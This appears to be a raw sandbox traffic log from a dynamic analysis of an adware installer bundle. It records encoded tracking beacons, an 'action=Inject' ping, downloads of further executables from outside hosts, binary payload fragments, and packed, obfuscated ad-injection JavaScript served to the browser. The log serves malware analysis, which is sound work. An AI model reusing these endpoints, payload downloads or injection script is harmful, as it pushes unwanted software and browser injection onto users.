/.Y..RI.6.(........T....Dq....l.0.c.[1.o..h.R....ju..........,;...i...
.^.....T....|tV.L....;..i^S...-q........[Wup...~.......}.r .W.x..{-...
Cd..k.V....A..^;.n...?.N...^.|..bc{.._...h.w=...f..}.U}...|...........
[..62...Q....Cw.EV1..>..`..Q.cC.`..0...\v.:.'.....L.$.1.\O.C.......
.B..A^2b..<..%....A%|.E...@N:I*.Y5.A.F.."h..... .^Y)|..L.2D...pqYc.
......@..#Y(...J..#w...S.....70.. .;...Y....3..k.........@....&c..J.;.
...Q....R5.M...x.=`.<.f.U....C.{..>....{...t.....i>..Yk..@e..
v.Cf5........o`.Z..V.....V)..9.....^u...X.....}.N.O....~...-......D..V
.2o.F.......,Le.."J9.....k...r...#.w.i.!.......oe...a..QA.u.......4.X.
...{5...Vs..t.0. ...n<..j.y...`-^....uBtf.Gu. S[[.YU...T.._.lP.....
(o@=1.-N....?....V>&."...'..d..:.sS..Kq....].UySz5..3..$.<.{..".
%.Iar\Y.WVt\....;k..h...O..b...2.....=H.@...v0l)....x.7k..T..Di..T....
..q..4.5..h....N...... T;.T5SB=.f0.....k............Vh..E.b...Dz....V.
...u....5...F...A...CX7.e..R9.....Ym5..e|......5..-..]W.u..H...m..J.5k
..nT...t!...._|.{<I..!F...j{..-..........).s~g.j....$T.-!.....Z<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.1&utms=1&utmn=828509355&utmhn=bi.bisrv.com&utmhid=1929844214&utmr=-&utmp=Installer_Init&utmht=1420623113968&utmac=UA-31676879-1&utmcc=__utma=1.1098259893.1420623114.1420623114.1420623114.1;+__utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1864963167&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 07 Jan 2015 09:32:14 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 07 Jan 2015 09:32:14 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /p.ashx?e=s5Ydxb c7o1WuN7nJmKQv2ixDL7TvdeXs1J ZuGTca14E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqBIBBL/eAnh9cNqW9cpn67YCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pHw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ 2413TZ3pBzZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0uMz8l1s_gYXt8yHqDHed3Qi7d-wwPV483mikKn37S5Atog4GsUgxQ==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjxQEru0RuuZR0qbfRkh1l0EPUrOSlnidUd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNsLyJ aniWV2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:22 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i62LQH4Aw8ePaskSH7BGSqx_82ucA65hCPMLjKx94tmX4nAVAZD1ig==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjxQEru0RuuZSXHFdCYmCgFwTxIUcsgQ wwCZLjKPQ6Z6hVaWFI 9Gui2BiJRR6OEh94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GI55qXR1UBWyBeW2QDC65mxlDSdrzheVcmdR-jbSMkvz2eGQzT5X2A==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjgJHDf/u7xkQoETtCpwnRwjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29raE2JuypHmFcB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvowDChOESlis= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:22 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5wzUzz-ahnn-JNyy9sT_d0IwqE0MJ83_FF5yOtBcTwM1oUF1vVdtuA==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjzdiNKneBtxMbw23K9mQlgxQC drCF7eFKCrVyEloleJRxtw Ud1eTtGv 8p9Zv7Rndz90qskgG9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7d WGXQANOND HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pRHn7T6I5MsNPeit1IqVbp4LzccOlK1UzGZ65sycqfztSjOes8Lyag==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjGxrTqW15vZCY3rFz7xHa/LPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsZ3d0Bo9MYSMvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObMZm 8qxpeoo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: raKsishF-7Ej8kE6oJvX2_Vkf7jVPfbUVUQ-sPGK8GluEk2CInQrRQ==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjk0XByrlXk6UsXzCYJGHkaymF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QT9rnvEQixMtzkxqqNc0_Nm89zKTOv52J4bDdnOvuIYqbi9pqnuvhQ==

....

GET /p.ashx?e=hNMAVKhukrwSbACHvkgz8cxndPpeZYzTNMDcfItnUR6MDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqoEgEEv94CeHXagai3QxCFNgKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldg/rY7TKOFg0m94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WtVb1AFkeQvd9pNgxxSCSX4auTBbSM7Pd1rwm4iRQxlhgdYSuC_5gQ==

....

GET /p.ashx?e=xY8ohDYpM h6gEVzoYeGJ8xndPpeZYzTNMDcfItnUR6MDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqoEgEEv94CeHXagai3QxCFNgKkdlz1lRoVNSQ3lQpjLdBPEhRyyBD7DFByCWgHBKYypAG YHgGRxeG5e2JE3Nzo2HdAkQAtbdDfrzKQ1K pHlyrNiUJP46mrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUy2X6vNXTV2eMll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PH/YlhRdgav1g HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cIgNg8q2U2GmwLaDvQd83TcjS1_4o-G7mgd55x8g1OokJJsAdjgjtA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:20 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 48332561f71f5eb18d6bafe86590fa
54.cloudfront.net (CloudFront)..X-Amz-Cf-Id: cIgNg8q2U2GmwLaDvQd83TcjS
1_4o-G7mgd55x8g1OokJJsAdjgjtA==......

GET /p.ashx?e=2fVCHF6kf8hPNjxRBLtb46yHr51bRfAK/WD6e6SZIIGq9exvwYRubwRSl12vCJvF5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PTXoMXpqBnYfZiMvKI16LiayBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0Wgrw Oa4ZOT9zLK691dBCx/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7CPnfnn4CX UbqaDgs33TNi ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:26 GMT

X-Cache: Miss from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sOsKf-62o8-boZVZtqno0pEelVigDgwioxGOm-gbwqLG8dSXc-vrjA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:26 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 48332561f71f5eb18d6bafe86590fa
54.cloudfront.net (CloudFront)..X-Amz-Cf-Id: sOsKf-62o8-boZVZtqno0pEel
VigDgwioxGOm-gbwqLG8dSXc-vrjA==..

GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=JollyWallet&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:35:03 GMT..Content-Length: 0..

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1223424-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 407808

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1223424-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 2dc430fff474a8f2dc029f6910b5eecc.cloudfront.net (CloudFront)

X-Amz-Cf-Id: n0m0N2utvaioc3rPzX4IFXfA6oehYYXTRBusqINRCOHF9-KGLexj4A==
.............~....&...]_^[..SVWUQ..$..3..E..X.K..|Ã..E..........$R..
...l)A..Z.....GKu...Z]_^[.SVWUQ..$..3..E..X.K..|Ã..E.........x..t...
$.F.......u.FKu...Z]_^[.U........3.......3.Uh.0A.d.0d. .......E..@....
.........E..E...E.Pj........ 0F...=.............A...t...F...3.ZYYd..h.
0A......................]...U.....SVW.M..U..E..U..E.......E..}..u.U.D.
..Y.U..E.......E..@..@.H..|z@.E..E......E..@..U........;}.tR.G..X.K...
|F.G...........U..........t&...E..R...;E.u..G....c....E..@........K...
u..E..M.u._^[..].....P.'?.....S...........t...._...[..SVWUQ......$..G.
.X.K..|.C3..G.................u.FKu...$...$Z]_^[..@.SVWU.....G..X.K..|
.C3..G.........@..........}.FKu......l)A..x......G..B...]_^[.....P.w?.
....SVW.....F..X.K...|....F..o......x...K...u._^[...U.....SVW..t......
....M..U..E.3..E..X........A..L....U..B...IF......3.Uh.2A.d.0d. .}..u.
..IF..@ .E...IF..@..p.N..|3F3...IF..@...........U..........t..E..@....
^...GNu..}..t;..IF..@..p.N..| F3...IF..@...........{..t..E..@........G
Nu.3.ZYYd..h.2A...IF........(......E..}..t..@...d..........E._^[..]...
..SV.1........F..q...........U.....~........^[..@.U.....SVW.U...3..E..
.IF......3.Uh.3A.d.2d.".G..X.K..|)C3..G.........U..A....E..}..t..[....
#FKu.3.ZYYd..h.3A...IF........T......E._^[YY]..@...t..@...U.....S3..U.
..3.Uh.4A.d.0d. .]..E...E.Pj..U.../F...8...M......A...p...*...3.ZYYd..
h#4A..E..............[..].U..QS....IF......3.Uhn4A.d.0d. ....IF.......
E.3.ZYYd..hu4A...IF..#............E.[Y].SV.............u....(.....^[..
@.U..S....IF..,...3.Uh.5A.d.0d. ......IF......;...A.t....1........<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=269780-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 38540

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 269780-308319/308320

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=767306&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:52 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

GET /app/ping.ashx?e=hWfaA75NtHH85nz5m58wW2lBVeUjsyYp69ciWx3pcgm9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiY2Da1UJrhtidskpjA9 6EEBiJWCtklQEQKd0GEgkafn7qIsw5K9Cdia/NXxeys6V4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX1KbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0a2Gt2Eq/S//H/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:38 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:33:38 GMT..Content-Length: 0..

GET /sbitin/javascript.js?hid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=iF17wJSsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 07 Jan 2015 13:34:39 GMT

Cache-Control: max-age=14400

X-Origin: opt

X-Accel-Expires: 0
1c1b../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/sbitin/javascript.js?hid=92a8ad46-bc
8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=iF17wJSsmtycl&co
untryCode=UA&sset=7&ip=193.138.244.231";if(typeof window.JavaScriptJsT
agUrl==='undefined'||window.JavaScriptJsTagUrl==null){window.JavaScrip
tJsTagUrl=tagUrl}}catch(e){}try{if(typeof window.JavaScriptJsTags==='u
ndefined'||window.JavaScriptJsTags==null){window.JavaScriptJsTags=""}i
f(window.JavaScriptJsTags.length>0){window.JavaScriptJsTags=window.
JavaScriptJsTags " : "}window.JavaScriptJsTags=window.JavaScriptJsTags
 tagUrl}catch(e2){}})();..eval(function(p,a,c,k,e,r){e=function(c){ret
urn(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 2
9):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]
||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};wh
ile(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);ret
urn p}('6 n;6 o;4(9 2m==="8"){4(9 5==="8"){6 2n=c 2o(T){4(T.h("1X")>
;=0)7 T;t{6 18="";1q(6 i=0;i<T.N;i =2)18=18 2p.2q(2r(T.1r(i,2),16))
;7 18}u(2s){7 T}};6 19="i";6 1a="y";4(O.1b(P 13("1Y\\z","g"))){6 1s=O.
1b(P 13("1Y\\z(. ?)($|\\14|#)"))[1];4(1s.N>0&&1s==="G"){19="2t";4(O
.1b(P 13("1Z\\z","g"))){6 1t=O.1b(P 13("1Z\\z(. ?)($|\\14|#)"))[1];4(1
t.N>0&&1t==="G")1a="G"}}}5={"B":"2u","C":"","U":"","V":"","2v":"","
19":19,"1c":"","1u":"","K":"","1a":1a,"1v":"","1w":"","W":"","Q":"<<< skipped >>>

GET /opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF17wJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.sbitinjs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 07 Jan 2015 09:34:40 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 10 Jan 2015 09:34:40 GMT

Cache-Control: max-age=259200

X-Origin: opt

X-Accel-Expires: 0
8283../**. * See hXXp://VVV.sbitinjs.info/ for details.. * . * Copyrig
ht (C) 2014 sbitinjs.info. All rights reserved.. */..(function(){try{v
ar tagUrl="hXXp://i.sbitinjs.info/opt_content.js?v=opt_1419351787852&p
artner=sbitin&channel=sbitiniF17wJSsmtycl&sset=7&appTitle=ShopperPro&s
set=7&ip=193.138.244.231&countryCode=UA&sset=7&ip=193.138.244.231";if(
typeof window.JavaScriptJsTagUrl==='undefined'||window.JavaScriptJsTag
Url==null){window.JavaScriptJsTagUrl=tagUrl}}catch(e){}try{if(typeof w
indow.JavaScriptJsTags==='undefined'||window.JavaScriptJsTags==null){w
